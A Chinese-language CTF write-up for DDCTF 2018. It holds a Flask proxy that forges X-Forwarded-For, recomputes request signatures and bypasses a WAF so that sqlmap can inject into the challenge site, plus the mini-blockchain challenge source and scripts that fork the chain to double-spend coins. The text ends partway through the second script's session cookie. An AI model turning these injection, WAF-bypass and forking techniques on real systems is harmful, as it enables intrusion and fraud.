DDCTF 2018 Writeup

  1. Web1 数据库的秘密
  2. Web 4 mini blockchain
    1. 利用后门
    2. 不利用后门

Web1 数据库的秘密

很容易想到伪造XFF

接下来就是注入了。

首先,我们发现有个校验

然后,看了下js,貌似有点复杂,这里采用

sqlmap+python代理服务器(代理服务器处理校验的代码,通过python的execjs模块调用js代码)

后又遇到了安全狗,使用from-data提交数据,达到绕过

代理服务器main.py

from flask import Flask,request
import requests
import execjs
import urllib
app = Flask(__name__)


def get_js():
    f = open("./crc.js", 'r')#, encoding='UTF-8')
    line = f.readline()
    htmlstr = ''
    while line:
        htmlstr = htmlstr + line
        line = f.readline()
    return htmlstr

jsstr = get_js()
ctx = execjs.compile(jsstr)

@app.route('/')
def index():
    id = request.args.get('id')
    title = request.args.get('title')
    date = request.args.get('date')
    author = request.args.get('author')
    print request.args.items().__str__()
    crc_str = ctx.call('submitgg', id, title, date, author)
    print crc_str
    url = "http://116.85.43.88:8080/PEQFGTUTQMZWCZGK/dfe3ia/" + crc_str
    # data = {
    #     'id':id,
    #     'title':title,
    #     'date':date,
    #     'author':author,
    # }
    data = {
        'id':id,
        'title':title,
        'date':date,
        'author':author,
    }
    print data
    files = {
        'button': 'search',
    }
    try:
        r = requests.post(url=url, headers={"X-Forwarded-For": "123.232.23.245"}, data=data, files=files)
    except Exception as e:
        print e
        return e
    return r.content


if __name__ == "__main__":

    app.run(debug=True)

crc.js

/*
 * A JavaScript implementation of the Secure Hash Algorithm, SHA-1, as defined
 * in FIPS PUB 180-1
 * Version 2.1-BETA Copyright Paul Johnston 2000 - 2002.
 * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet
 * Distributed under the BSD License
 * See http://pajhome.org.uk/crypt/md5 for details.
 */
/*
 * Configurable variables. You may need to tweak these to be compatible with
 * the server-side, but the defaults work in most cases.
 */
var hexcase = 0; /* hex output format. 0 - lowercase; 1 - uppercase     */
var b64pad = ""; /* base-64 pad character. "=" for strict RFC compliance  */
var chrsz = 8; /* bits per input character. 8 - ASCII; 16 - Unicode    */
var key="\141\144\162\145\146\153\146\167\145\157\144\146\163\144\160\151\162\165";
/*
 * These are the functions you'll usually want to call
 * They take string arguments and return either hex or base-64 encoded strings
 */
function hex_math_enc(s) {
 return binb2hex(core_math_enc(str2binb(s), s.length * chrsz));
}
function b64_math_enc(s) {
 return binb2b64(core_math_enc(str2binb(s), s.length * chrsz));
}
function str_math_enc(s) {
 return binb2str(core_math_enc(str2binb(s), s.length * chrsz));
}
function hex_hmac_math_enc(key, data) {
 return binb2hex(core_hmac_math_enc(key, data));
}
function b64_hmac_math_enc(key, data) {
 return binb2b64(core_hmac_math_enc(key, data));
}
function str_hmac_math_enc(key, data) {
 return binb2str(core_hmac_math_enc(key, data));
}
/*
 * Perform a simple self-test to see if the VM is working
 */
function math_enc_vm_test() {
 return hex_math_enc("abc") == "a9993e364706816aba3e25717850c26c9cd0d89d";
}
/*
 * Calculate the SHA-1 of an array of big-endian words, and a bit length
 */
function core_math_enc(x, len) {
 /* append padding */
 x[len >> 5] |= 0x80 << (24 - len % 32);
 x[((len + 64 >> 9) << 4) + 15] = len;
 var w = Array(80);
 var a = 1732584193;
 var b = -271733879;
 var c = -1732584194;
 var d = 271733878;
 var e = -1009589776;
 for (var i = 0; i < x.length; i += 16) {
  var olda = a;
  var oldb = b;
  var oldc = c;
  var oldd = d;
  var olde = e;
  for (var j = 0; j < 80; j++) {
   if (j < 16) w[j] = x[i + j];
   else w[j] = rol(w[j - 3] ^ w[j - 8] ^ w[j - 14] ^ w[j - 16], 1);
   var t = safe_add(safe_add(rol(a, 5), math_enc_ft(j, b, c, d)), safe_add(safe_add(e, w[j]), math_enc_kt(j)));
   e = d;
   d = c;
   c = rol(b, 30);
   b = a;
   a = t;
  }
  a = safe_add(a, olda);
  b = safe_add(b, oldb);
  c = safe_add(c, oldc);
  d = safe_add(d, oldd);
  e = safe_add(e, olde);
 }
 return Array(a, b, c, d, e);
}
/*
 * Perform the appropriate triplet combination function for the current
 * iteration
 */
function math_enc_ft(t, b, c, d) {
 if (t < 20) return (b & c) | ((~b) & d);
 if (t < 40) return b ^ c ^ d;
 if (t < 60) return (b & c) | (b & d) | (c & d);
 return b ^ c ^ d;
}
/*
 * Determine the appropriate additive constant for the current iteration
 */
function math_enc_kt(t) {
 return (t < 20) ? 1518500249 : (t < 40) ? 1859775393 : (t < 60) ? -1894007588 : -899497514;
}
/*
 * Calculate the HMAC-SHA1 of a key and some data
 */
function core_hmac_math_enc(key, data) {
 var bkey = str2binb(key);
 if (bkey.length > 16) bkey = core_math_enc(bkey, key.length * chrsz);
 var ipad = Array(16),
  opad = Array(16);
 for (var i = 0; i < 16; i++) {
  ipad[i] = bkey[i] ^ 0x36363636;
  opad[i] = bkey[i] ^ 0x5C5C5C5C;
 }
 var hash = core_math_enc(ipad.concat(str2binb(data)), 512 + data.length * chrsz);
 return core_math_enc(opad.concat(hash), 512 + 160);
}
/*
 * Add integers, wrapping at 2^32. This uses 16-bit operations internally
 * to work around bugs in some JS interpreters.
 */
function safe_add(x, y) {
 var lsw = (x & 0xFFFF) + (y & 0xFFFF);
 var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
 return (msw << 16) | (lsw & 0xFFFF);
}
/*
 * Bitwise rotate a 32-bit number to the left.
 */
function rol(num, cnt) {
 return (num << cnt) | (num >>> (32 - cnt));
}
/*
 * Convert an 8-bit or 16-bit string to an array of big-endian words
 * In 8-bit function, characters >255 have their hi-byte silently ignored.
 */
function str2binb(str) {
 var bin = Array();
 var mask = (1 << chrsz) - 1;
 for (var i = 0; i < str.length * chrsz; i += chrsz)
 bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (24 - i % 32);
 return bin;
}
/*
 * Convert an array of big-endian words to a string
 */
function binb2str(bin) {
 var str = "";
 var mask = (1 << chrsz) - 1;
 for (var i = 0; i < bin.length * 32; i += chrsz)
 str += String.fromCharCode((bin[i >> 5] >>> (24 - i % 32)) & mask);
 return str;
}
/*
 * Convert an array of big-endian words to a hex string.
 */
function binb2hex(binarray) {
 var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
 var str = "";
 for (var i = 0; i < binarray.length * 4; i++) {
  str += hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((3 - i % 4) * 8)) & 0xF);
 }
 return str;
}
/*
 * Convert an array of big-endian words to a base-64 string
 */
function binb2b64(binarray) {
 var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
 var str = "";
 for (var i = 0; i < binarray.length * 4; i += 3) {
  var triplet = (((binarray[i >> 2] >> 8 * (3 - i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * (3 - (i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * (3 - (i + 2) % 4)) & 0xFF);
  for (var j = 0; j < 4; j++) {
   if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
   else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F);
  }
 }
 return str;
}


function signGenerate(obj, key) {
    var str0 = '';
    for(i in obj){
      if(i!='sign'){
        str1='';
        str1=i+'='+obj[i];
        str0+=str1
      }
    }
    return hex_math_enc(str0+key)
};

var obj={id:'',title:'',author:'',date:'',time:parseInt(new Date().getTime()/1000)};

function submitt(){
  obj['id']=document.getElementById('id').value;
  obj['title']=document.getElementById('title').value;
  obj['author']=document.getElementById('author').value;
  obj['date']=document.getElementById('date').value;
  var sign=signGenerate(obj,key);
  document.getElementById('queryForm').action="index.php?sig="+sign+"&time="+obj.time;
  document.getElementById('queryForm').submit()
}

function submitgg(id, title, date, author){
  obj['id']=id;
  obj['title']=title;
  obj['author']=author;
  obj['date']=date;
  // return obj;
  var sign=signGenerate(obj,key);
  return "index.php?sig="+sign+"&time="+obj.time;
}

这里,我们为了方便输入在js中添加了个submitgg函数,其他直接复制题目给的js。

运行代理服务器,此时可以

OK,将代理服务器的链接用于sqlmap

Web 4 mini blockchain

某银行利用区块链技术,发明了DiDiCoins记账系统。某宝石商店采用了这一方式来完成钻石的销售与清算过程。不幸的是,该银行被黑客入侵,私钥被窃取,维持区块链正常运转的矿机也全部宕机。现在,你能追回所有DDCoins,并且从商店购买2颗钻石么?

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request

app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = '/b9af31f66147e'

def FLAG():
    return 'Here is your flag: DDCTF{******************}'

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def has_attrs(d, attrs):
    if type(d) != type({}): raise Exception("Input should be a dict/JSON")
    for attr in attrs:
        if attr not in d:
            raise Exception("{} should be presented in the input".format(attr))

EMPTY_HASH = '0'*64

def addr_to_pubkey(address):
    return rsa.PublicKey(int(address, 16), 65537)

def pubkey_to_address(pubkey):
    assert pubkey.e == 65537
    hexed = hex(pubkey.n)
    if hexed.endswith('L'): hexed = hexed[:-1]
    if hexed.startswith('0x'): hexed = hexed[2:]
    return hexed

def gen_addr_key_pair():
    pubkey, privkey = rsa.newkeys(384)
    return pubkey_to_address(pubkey), privkey

bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()

def sign_input_utxo(input_utxo_id, privkey):
    return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
    tx['hash'] = hash_tx(tx)
    return tx

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block

def find_blockchain_tail():
    return max(session['blocks'].values(), key=lambda block: block['height'])

def calculate_utxo(blockchain_tail):
    curr_block = blockchain_tail
    blockchain = [curr_block]
    while curr_block['hash'] != session['genesis_block_hash']:
        curr_block = session['blocks'][curr_block['prev']]
        blockchain.append(curr_block)
    blockchain = blockchain[::-1]
    utxos = {}
    for block in blockchain:
        for tx in block['transactions']:
            for input_utxo_id in tx['input']:
                del utxos[input_utxo_id]
            for utxo in tx['output']:
                utxos[utxo['id']] = utxo
    return utxos

def calculate_balance(utxos):
    balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
    for utxo in utxos.values():
        if utxo['addr'] not in balance:
            balance[utxo['addr']] = 0
        balance[utxo['addr']] += utxo['amount']
    return balance

def verify_utxo_signature(address, utxo_id, signature):
    try:
        return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
    except:
        return False

def append_block(block, difficulty=int('f'*64, 16)):
    has_attrs(block, ['prev', 'nonce', 'transactions'])

    if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
    if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
    if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
    tail = session['blocks'][block['prev']]
    utxos = calculate_utxo(tail)

    if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
    new_utxo_ids = set()
    for tx in block['transactions']:
        has_attrs(tx, ['input', 'output', 'signature'])

        for utxo in tx['output']:
            has_attrs(utxo, ['amount', 'addr', 'id'])
            if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
            if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
            if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
            if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
            new_utxo_ids.add(utxo['id'])
            if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
            if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
            if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
            try:
                addr_to_pubkey(utxo['addr'])
            except:
                raise Exception("invalid type of address({})".format(utxo['addr']))
            utxo['hash'] = hash_utxo(utxo)
        tot_output = sum([utxo['amount'] for utxo in tx['output']])

        if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
        if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
        if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
        tot_input = 0
        tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
        tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
        for utxo_id, signature in zip(tx['input'], tx['signature']):
            if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
            if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
            utxo = utxos[utxo_id]
            if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
            if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
                raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
            tot_input += utxo['amount']
            del utxos[utxo_id]
        if tot_output > tot_input:
            raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
        tx['hash'] = hash_tx(tx)

    block = create_block(block['prev'], block['nonce'], block['transactions'])
    block_hash = int(block['hash'], 16)
    if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
    block['height'] = tail['height']+1
    if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
    if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
    session['blocks'][block['hash']] = block
    session.modified = True

def init():
    if 'blocks' not in session:
        session['blocks'] = {}
        session['your_diamonds'] = 0

        # First, the bank issued some DDCoins ...
        total_currency_issued = create_output_utxo(bank_address, 1000000)
        genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
        genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
        session['genesis_block_hash'] = genesis_block['hash']
        genesis_block['height'] = 0
        session['blocks'][genesis_block['hash']] = genesis_block

        # Then, the bank was hacked by the hacker ...
        handout = create_output_utxo(hacker_address, 999999)
        reserved = create_output_utxo(bank_address, 1)
        transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
        second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
        append_block(second_block)

        # Can you buy 2 diamonds using all DDCoins?
        third_block = create_block(second_block['hash'], 'a empty block', [])
        append_block(third_block)

def get_balance_of_all():
    init()
    tail = find_blockchain_tail()
    utxos = calculate_utxo(tail)
    return calculate_balance(utxos), utxos, tail

@app.route(url_prefix+'/')
def homepage():
    announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
    balance, utxos, _ = get_balance_of_all()
    genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
    addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
    balance_info = 'Balance of all addresses: ' + json.dumps(balance)
    utxo_info = 'All utxos: ' + json.dumps(utxos)
    blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
    view_source_code_link = "<a href='source_code'>View source code</a>"
    return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))


@app.route(url_prefix+'/flag')
def getFlag():
    init()
    if session['your_diamonds'] >= 2: return FLAG()
    return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address

def find_enough_utxos(utxos, addr_from, amount):
    collected = []
    for utxo in utxos.values():
        if utxo['addr'] == addr_from:
            amount -= utxo['amount']
            collected.append(utxo['id'])
        if amount <= 0: return collected, -amount
    raise Exception('no enough DDCoins in ' + addr_from)

def transfer(utxos, addr_from, addr_to, amount, privkey):
    input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
    outputs = [create_output_utxo(addr_to, amount)]
    if the_change != 0:
        outputs.append(create_output_utxo(addr_from, the_change))
    return create_tx(input_utxo_ids, outputs, privkey)

@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
    balance, utxos, tail = get_balance_of_all()
    if balance[bank_address] == 0: return 'The bank has no money now.'
    try:
        address = str(address)
        addr_to_pubkey(address) # to check if it is a valid address
        transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
        new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
        append_block(new_block)
        return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
    except Exception, e:
        return 'ERROR: ' + str(e)

DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
    init()
    try:
        block = json.loads(request.data)
        append_block(block, DIFFICULTY)
        msg = 'transaction finished.'
    except Exception, e:
        return str(e)

    balance, utxos, tail = get_balance_of_all()
    if balance[shop_address] == 1000000:
        # when 1000000 DDCoins are received, the shop will give you a diamond
        session['your_diamonds'] += 1
        # and immediately the shop will store the money somewhere safe.
        transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
        new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
        append_block(new_block)
        msg += ' You receive a diamond.'
    return msg


# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
    if 'blocks' in session: del session['blocks']
    if 'genesis_block_hash' in session: del session['genesis_block_hash']
    return 'reset.'

@app.route(url_prefix+'/source_code')
def show_source_code():
    source = open('serve.py', 'r')
    html = ''
    for line in source:
        html += line.replace('&','&amp;').replace('\t', '&nbsp;'*4).replace(' ','&nbsp;').replace('<', '&lt;').replace('>','&gt;').replace('\n', '<br />')
    source.close()
    return html

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

题目给的区块链是有三个区块,

1. 创世块银行1000000个币
2. 黑客转走999999个币,给银行留下1个币
3. 再有一个空的区块

然后让你买2个钻石。

OK,只要往商店的地址转钱,当该地址有1000000个币时,会给你一个钻石。注意到,这个钻石是储存在session['your_diamonds'] 中。

然后,添加一个区块,记录将商店中的币转走到冷钱包中。

这里的主要问题在于,只有你在挖矿,即你可以控制全网算力(100%>51%),所以你可以在任何地方进行分叉,否认之后所有的交易(否认一条,后面的都不成立的)。

对了,这里还有个后门,当然,可用可不用

分析下做法

利用后门

# -*- encoding: utf-8 -*-
import btc
import rsa, uuid, json, copy
import requests
import re

txout_id = str(uuid.uuid4())
proxies = {"http":"http://127.0.0.1:8080"}
url_prefix = "http://localhost:5000/b9af31f66147e"
ss = requests.session()
ss.cookies.set("session",".eJzNVtuOm0gU_JWVn-cBGvCYSHmwF4yw0o2w2ybdURRxM9CAZzT2BLuj-fctnE1WGa_ysNqs1iOLy-BzqapThy-TrHvI2-PkzZeJXVhklhalmZF9XpSFOzNSZzorZ7lNSiM3nH3mGoa5n7r394W7n-5LYrolscneSqczwxlj1OmxHo-_ZZM3ExbEmqq6lsH2LNSqF2TdSa-1aeCbTNVdFFCD9ttB6Lkp-9Ch3vwslXCYLtooEUT22wvlXUdVfJGK1UxVA4vfvp283E3qsqnq0-SNcTc5PBzy8nvSXVB34XL9mCU7HXpz_c54rLNmdkFwJ_TZg0gcJZPzMbPCKiN2JQ6rx6w_4lxUOdmpjDhtGKzqNDl_Lt7Hlezdy3iNZ66JH5_Kz9-TIejwr3_nXzs8PaWHY5qfmocD6Plwgy0FhrEe8Yq8VSv60JReeGaKWtSLbeYJOwr8QSTUlHx-obrF9dZhaqFwX1OyAy_rJuLUFMBYJqymf2LbHB6fAe2Hj3eTh-fT1_Mvk7Qonr6nj_iuoQGSJ8se1IGeykFKU4A6hOqQFoi3juhXLQtC0BgbDGVFQajxTM10PDAeapqwRirfll6Hez6RfN2AZoOhHcp9O_IQl8dogTqCQC68RS5fj2Wm_cPzAbWZxvVz9yNAomcNgHBYInFc9ADAkNwnTFca1VhStSaE6VC1UlLF9ig-ZBhYsm4kr8wIX8rnDtWxZoCLKTHIbwAVf_HghSZCOkJVJ0ZCEv1uGFFC9TveQr_iRPVCid63RbJWjFf25OUFsB6b6pCenp_KEeWXjwjpZnvDyY29k6XWdEoc23Hv9_k0S2dmapV56dozgv-XRe6Y2axMzXvLcrKpm6VpZs6IezN8UbLqqbdTNAArva9R_2VEMuJFL7RsBK_OgoMpAlF41YUldJDXIpdNFOxqynNN9Q5sdA1YbiivLtGr4SOvh09sFl32fmGUm0WTBa5Kh7e3QyN0bAnAI5KVosofMOrmtSJUifMzRr4RxLcpWcIuYAEaLAQhAUtnoaGDXtaRN7ehEWhi1bAEco7_dmhGZHP7PnWnaZYT03D3DjAFxO7eNN0sT2dWWhYOsQzXyKZ728wtEJHOjNk0c_Msc1LLvEH2V9b_DVnzNbIbfxnGm6HabBYLvllsN_62ittltLksIm7m9Q3Kv9J8f25N1MvR63ZgwbqWSvaUb4FXfKZe3WL-YTeYOG9OqCowea3FlIQHACu-qKFQKwpwJ_DP8A0Dv9PwhoZWP1rTP56-n3malw8MXTMiiNDrDqiBJx8uMCLpXyTvcN2aSDpQvmqoEmdG4GtaYlp8B51aVMOzOL3IQIB3f5B8O8A74JHCEAroeznseVEDdUeq3BZ6NfZsMt7-4Gnu9fPK0qSX2zBAQpEAxojxrAyqV42EoCggp4lsKVn1ABUFbAFcAfPd2lJ1aKbumDc3Wb-EJaz7UXxM152sbixNerKPPEy-J07X48aA74bnd4lvIPRJjusDvk2vvj8fLe3u_7weXqFIg2UXcTzNsR1VV4-1Ic5FqC1yAyW1bqmqNJ7QjFOgB9l6kKNuUTO2bo-FgN9RHdqip0bEIfJbFAXkKJMxJIUMfS0hTYQgkKZJR7lyYVOonnm5CYKa28XwDcsgHKS3bDBOwHLXj4soCpY181hLOaQFo5cwcqZD2A9MXFUYNyhCC9QXnyWoY96iixIowYMZgA_Bl1iIW1MoOWJNmOej2wKLEmbAYWMexpXg7SDYDpgZ_KG5qjyUx-b46frG-Ok_e9O7PDw_fSoa0Hko4DbGyx8gEXQk.Db7w9Q.hqEXHtLsqopnbFpfz5UTfgca8LM")



r = ss.get(url=url_prefix+"/",proxies=proxies)


#工作量证明
def pow(b, difficulty, msg=""):
    nonce = 0
    while nonce<(2**32):
        b['nonce'] = msg+str(nonce)
        b['hash'] = btc.hash_block(b)
        block_hash = int(b['hash'], 16)
        if block_hash < difficulty:
            return b
        nonce+=1

#构造一个空块
def empty_block(msg, prevHash):
    b={}
    b["prev"] = prevHash
    b["transactions"] = []
    b = pow(b, btc.DIFFICULTY, msg)
    return b

def myprint(b):
    print(json.dumps(b))
    print(len(json.dumps(b)))

def send_to_server(b):
    data = json.dumps(b)
    r = ss.post(url = url_prefix+"/create_transaction",data = data, headers = {"content-type":"application/json"},proxies = proxies)
    print r.content

def backdoor():
    r = ss.get(url = url_prefix+"/5ecr3t_free_D1diCoin_b@ckD00r/"+shop_address, proxies = proxies)
    print r.content
    pass

shop_address = "c4a5cb163786cc944c488df9c8a5143356aecc87a8854c76fbb76f5715b947d7be5ddcc9c69d46b904a857ee9437c71b"
## 创世块的hash
prev_block_hash = "4d328ade1b2fcded980a568e8c42e0c05fb9001f6977d9f6fe219e242f3a6805"

# 空块
print("empty block 1")
block1 = empty_block("empty block",prev_block_hash)
block1 = pow(block1, btc.DIFFICULTY)
myprint(block1)
send_to_server(block1)

# 空块
print("empty block 2")
block2 = empty_block("empty block",block1['hash'])
block2 = pow(block2, btc.DIFFICULTY)
myprint(block2)
send_to_server(block2)

# 空块
print("empty block 3")
block3 = empty_block("empty block",block2['hash'])
block3 = pow(block3, btc.DIFFICULTY)
myprint(block3)
send_to_server(block3)

# 长度超过原链

# 触发后门,银行转币到商店
print("hit backdoor")
backdoor()

# 商店转走币,给你一颗钻石(这需要一次创建块才能触发,我们在分叉2中触发就OK)

# 空块
print("empty block 4, you will receive a diamond")
block4 = empty_block("empty block",block3['hash'])
block4 = pow(block4, btc.DIFFICULTY)
myprint(block4)
send_to_server(block4)

# 空块
print("empty block 5")
block5 = empty_block("empty block",block4['hash'])
block5 = pow(block5, btc.DIFFICULTY)
myprint(block5)
send_to_server(block5)

# 空块
print("empty block 6")
block6 = empty_block("empty block",block5['hash'])
block6 = pow(block6, btc.DIFFICULTY)
myprint(block6)
send_to_server(block6)

# 触发后门,银行转币到商店
print("hit backdoor 2")
backdoor()

# 创建空块,触发商店转走币,给你一颗钻石
print("empty block 7")
block7 = empty_block("empty block",block6['hash'])
block7 = pow(block7, btc.DIFFICULTY)
myprint(block7)
send_to_server(block7)

r = ss.get(url_prefix + "/flag",proxies=proxies)
print r.content

不利用后门

# -*- encoding: utf-8 -*-
import btc
import rsa, uuid, json, copy
import requests
import re



genesis_block = "f91baf7a24ab07a0361e27e8527ec951feecc8cd4a67ef75e45059cf09dcdf76"
hacker_input = "08e90dc1-2545-43fd-8ee4-c02b87d92899"
hacker_signature = "5415d3901c9e497344e62aa7515d64e79ab5ef1d77556187b22f7c3909555f38579f39b2a07e6d84addd40eebdc55757"
shop_address = "c4a5cb163786cc944c488df9c8a5143356aecc87a8854c76fbb76f5715b947d7be5ddcc9c69d46b904a857ee9437c71b"

txout_id = str(uuid.uuid4())
proxies = {"http":"http://127.0.0.1:8080"}
url_prefix = "http://localhost:5000/b9af31f66147e"
ss = requests.session()
ss.cookies.set("session",".eJzNVtuK20gU_JXFz_PQrcvYDuyDjWwjk26hcctK9xKCbpbUkjzD2BNZCvPvWz25bTxhYWGzrMDogtynuk5VHX2apO191pwmbz5NKKFTJ6e3lpsRu8imNk1ca55T256RWTIlc8eeUTpz7flhmsyy1KK3Bc1vp3mWZ_aBZGaNKjlV5vxbOnkzYWJx4eNdw4QceMx6Zu01H9lFimgI4vDCRuYwr6r4uHC5h2uxcrhgrtJ5FWx4zfTKUmLdcJ030rrTzJK97H__ffJ8M6mKuqzOkzfWzeR4f8yKb0Xlbtmm75ak2C3rdDPXyZc_PDwWH78j000fbCRlne8GBt247oCQSLGuVMwbJVY208uaj0AnGpeNkaNEA3RbrUREuBVegKxmG95yIFObu1otPhc6PybHU5Kd6_sjaP3jPR5ZczI7uFY6n99aU3pwMyehSZHlBZ1aJJ3OEnc-t91ZMZ-5Vla4zjSnBU1JVhhu8zR_zewvxP-VWXrN7G619sNdX-52y6XYLaPdKirDZh3shmUgaFa9Ylnp5iI7ILNWA9-gmpdXzGMWi6OBWxHQ-LaKmcvFulPxXsux0sq7q9DvVumMKhFS5kWuRN-D2KCUNi9_yvI1P90dFMRIIO5qrkuLi7zjXjOAFwokDfeykVv7Sgog1JHLu3XFRihS85rH_iA1UG2MEhuqOlx3oc2_CKk-PjydX0p-LuVVbSCWjRxXZ6ZB7Y4QZqnmrahabOAsxwWWK22F8oHXuJPn9zeT-6fz10WSPH_8hjvwsp53hh3sebxrpd5WgbeiTIQj3AD8Le4byj2_Z2ILh8gLekn4qCq4xwVWm40rJxBsAFsDrnv0G87jneokkbqB4zKbecsKwLC_zJHjFhoJKXQymv0l3f3TEdjmL8fNj8Qqb98ytI3rkKgXkrddEENsncJzNkod2rC2wy02SNgZ7ID4lSvjbcu90uEb2BhChCxaLqQhmcgvLa3zvygnvEiLoyfROfAWhNeEIBFakKrRm3MQIy3GJZSCdNFtPXl-vrmmUuwhb6VlDHF1_qB0iZCRVI55A4u0MmYDQz9kt234xh9AMeFe6AQbf8Q7CKWwh0BHFvNa6ZWjvBbPTCC9SIrwzqcmsAIP64I-heCSFiPYHWqtfqCSXrEYGFGPygSaxUa_N5hYB4Y2aLtoLBWvejBjqQ621aqFJC0eGwmENot91Nw2L-Eqqk6JJWhCzcUrFpmIkAJQTyfPsmOOMtIE3LdoRuD5ZxmHoKN0mc471oUELEKbp7o8Juenx-K7xrG_i6kfoKYcW3SygcygAESPRPc5bKU8ifsMnfapiuVFQWZcRBYTpS214T_XwNkHIqI8liM4gFJwNnYTC1sJ1QQwP6II9ly2Kt7CU3h3jGx45tnk6GFO0wTDx3KSlEwTYt_SwpoWSM1pkc1deiiKLJtluZPcTovD1C0cl7jz7EDmyNHD9PZVjv7KhPqao-Q6R_ebqvXXdw9pvB99bzG-JQ9VWs-gxoXrr_i9jF2t4ssptf0ytZxSHrcPaXfCtSwzjNDUcht_s62S-PIxfxeWqpsP5h7v_GTSeYv-X__9fNJdc-uVaLrsmcZZ-K4SJTHZBFHA29vKyJ97Rtwc-WMEsED--